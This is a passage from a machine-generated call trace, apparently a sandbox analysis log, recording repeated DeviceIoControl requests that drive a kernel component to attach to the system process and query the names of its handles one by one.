ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.888] ObfDereferenceObject (Object=0xfffffa8002154660) returned 0x2 [0102.888] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.888] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.888] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.888] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.888] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.888] PsAcquireProcessExitSynchronization () returned 0x0 [0102.888] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.888] ObReferenceObjectByHandle (in: Handle=0xffffffff80000698, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80021451f0, HandleInformation=0x0) returned 0x0 [0102.888] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.888] PsReleaseProcessExitSynchronization () returned 0x2 [0102.889] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.889] ObQueryNameString (in: Object=0xfffffa80021451f0, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.889] ObfDereferenceObject (Object=0xfffffa80021451f0) returned 0x2 [0102.889] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.889] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.889] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.889] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.889] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.889] PsAcquireProcessExitSynchronization () returned 0x0 [0102.889] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.889] ObReferenceObjectByHandle (in: Handle=0xffffffff8000069c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800211c590, HandleInformation=0x0) returned 0x0 [0102.889] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.889] PsReleaseProcessExitSynchronization () returned 0x2 [0102.889] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.889] ObQueryNameString (in: Object=0xfffffa800211c590, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.889] ObfDereferenceObject (Object=0xfffffa800211c590) returned 0x2 [0102.889] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.889] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.889] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.889] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.889] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.889] PsAcquireProcessExitSynchronization () returned 0x0 [0102.889] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.890] ObReferenceObjectByHandle (in: Handle=0xffffffff800006a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002277340, HandleInformation=0x0) returned 0x0 [0102.890] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.890] PsReleaseProcessExitSynchronization () returned 0x2 [0102.890] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.890] ObQueryNameString (in: Object=0xfffffa8002277340, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.890] ObfDereferenceObject (Object=0xfffffa8002277340) returned 0x2 [0102.890] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.890] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.890] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.890] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.890] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.890] PsAcquireProcessExitSynchronization () returned 0x0 [0102.890] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.890] ObReferenceObjectByHandle (in: Handle=0xffffffff800006a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002145050, HandleInformation=0x0) returned 0x0 [0102.890] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.890] PsReleaseProcessExitSynchronization () returned 0x2 [0102.890] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.890] ObQueryNameString (in: Object=0xfffffa8002145050, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.890] ObfDereferenceObject (Object=0xfffffa8002145050) returned 0x2 [0102.890] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.890] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.890] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.890] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.890] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.890] PsAcquireProcessExitSynchronization () returned 0x0 [0102.890] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.890] ObReferenceObjectByHandle (in: Handle=0xffffffff800006ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002120590, HandleInformation=0x0) returned 0x0 [0102.890] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.891] PsReleaseProcessExitSynchronization () returned 0x2 [0102.891] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.891] ObQueryNameString (in: Object=0xfffffa8002120590, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.891] ObfDereferenceObject (Object=0xfffffa8002120590) returned 0x2 [0102.891] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.891] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.891] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.891] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.891] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.891] PsAcquireProcessExitSynchronization () returned 0x0 [0102.891] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.891] ObReferenceObjectByHandle (in: Handle=0xffffffff800006b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001fa7830, HandleInformation=0x0) returned 0x0 [0102.891] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.891] PsReleaseProcessExitSynchronization () returned 0x2 [0102.891] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.891] ObQueryNameString (in: Object=0xfffffa8001fa7830, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.891] ObfDereferenceObject (Object=0xfffffa8001fa7830) returned 0x2 [0102.891] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.891] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.891] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.891] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.891] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.891] PsAcquireProcessExitSynchronization () returned 0x0 [0102.891] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.891] ObReferenceObjectByHandle (in: Handle=0xffffffff800006b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002142050, HandleInformation=0x0) returned 0x0 [0102.891] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.891] PsReleaseProcessExitSynchronization () returned 0x2 [0102.892] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.892] ObQueryNameString (in: Object=0xfffffa8002142050, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.892] ObfDereferenceObject (Object=0xfffffa8002142050) returned 0x2 [0102.892] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.892] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.892] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.892] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.892] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.892] PsAcquireProcessExitSynchronization () returned 0x0 [0102.892] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.892] ObReferenceObjectByHandle (in: Handle=0xffffffff800006bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002125660, HandleInformation=0x0) returned 0x0 [0102.892] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.892] PsReleaseProcessExitSynchronization () returned 0x2 [0102.892] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.892] ObQueryNameString (in: Object=0xfffffa8002125660, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.892] ObfDereferenceObject (Object=0xfffffa8002125660) returned 0x2 [0102.892] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.892] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.892] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.892] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.892] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.892] PsAcquireProcessExitSynchronization () returned 0x0 [0102.892] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.892] ObReferenceObjectByHandle (in: Handle=0xffffffff800006c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800289bac0, HandleInformation=0x0) returned 0x0 [0102.892] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.892] PsReleaseProcessExitSynchronization () returned 0x2 [0102.892] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.892] ObQueryNameString (in: Object=0xfffffa800289bac0, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.893] ObfDereferenceObject (Object=0xfffffa800289bac0) returned 0x2 [0102.893] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.893] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.893] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.893] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.893] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.893] PsAcquireProcessExitSynchronization () returned 0x0 [0102.893] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.893] ObReferenceObjectByHandle (in: Handle=0xffffffff800006c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800213f2c0, HandleInformation=0x0) returned 0x0 [0102.893] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.893] PsReleaseProcessExitSynchronization () returned 0x2 [0102.893] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.893] ObQueryNameString (in: Object=0xfffffa800213f2c0, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.893] ObfDereferenceObject (Object=0xfffffa800213f2c0) returned 0x2 [0102.893] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.893] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.893] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.893] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.893] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.893] PsAcquireProcessExitSynchronization () returned 0x0 [0102.893] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.893] ObReferenceObjectByHandle (in: Handle=0xffffffff800006cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800212e790, HandleInformation=0x0) returned 0x0 [0102.893] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.893] PsReleaseProcessExitSynchronization () returned 0x2 [0102.893] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.893] ObQueryNameString (in: Object=0xfffffa800212e790, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.893] ObfDereferenceObject (Object=0xfffffa800212e790) returned 0x2 [0102.893] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.894] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.894] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.894] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.894] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.894] PsAcquireProcessExitSynchronization () returned 0x0 [0102.894] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.894] ObReferenceObjectByHandle (in: Handle=0xffffffff800006d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800286e690, HandleInformation=0x0) returned 0x0 [0102.894] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.894] PsReleaseProcessExitSynchronization () returned 0x2 [0102.894] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.894] ObQueryNameString (in: Object=0xfffffa800286e690, ObjectNameInfo=0xfffffa8002494044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002494044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.894] ObfDereferenceObject (Object=0xfffffa800286e690) returned 0x2 [0102.894] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.894] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.894] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.894] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.894] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.894] PsAcquireProcessExitSynchronization () returned 0x0 [0102.894] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.894] ObReferenceObjectByHandle (in: Handle=0xffffffff800006d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800213ff20, HandleInformation=0x0) returned 0x0 [0102.894] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.894] PsReleaseProcessExitSynchronization () returned 0x2 [0102.894] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.894] ObQueryNameString (in: Object=0xfffffa800213ff20, ObjectNameInfo=0xfffffa8002066044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002066044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.894] ObfDereferenceObject (Object=0xfffffa800213ff20) returned 0x2 [0102.894] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.894] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.894] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.894] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.895] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.895] PsAcquireProcessExitSynchronization () returned 0x0 [0102.895] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.895] ObReferenceObjectByHandle (in: Handle=0xffffffff800006dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002131860, HandleInformation=0x0) returned 0x0 [0102.895] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.895] PsReleaseProcessExitSynchronization () returned 0x2 [0102.895] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.895] ObQueryNameString (in: Object=0xfffffa8002131860, ObjectNameInfo=0xfffffa80037a5244, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a5244, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.895] ObfDereferenceObject (Object=0xfffffa8002131860) returned 0x2 [0102.895] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.895] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.895] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.895] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.895] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.895] PsAcquireProcessExitSynchronization () returned 0x0 [0102.895] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.895] ObReferenceObjectByHandle (in: Handle=0xffffffff800006e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800250a720, HandleInformation=0x0) returned 0x0 [0102.895] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.895] PsReleaseProcessExitSynchronization () returned 0x2 [0102.895] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.895] ObQueryNameString (in: Object=0xfffffa800250a720, ObjectNameInfo=0xfffffa8003420684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003420684, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.895] ObfDereferenceObject (Object=0xfffffa800250a720) returned 0x2 [0102.895] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.895] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.895] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.895] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, 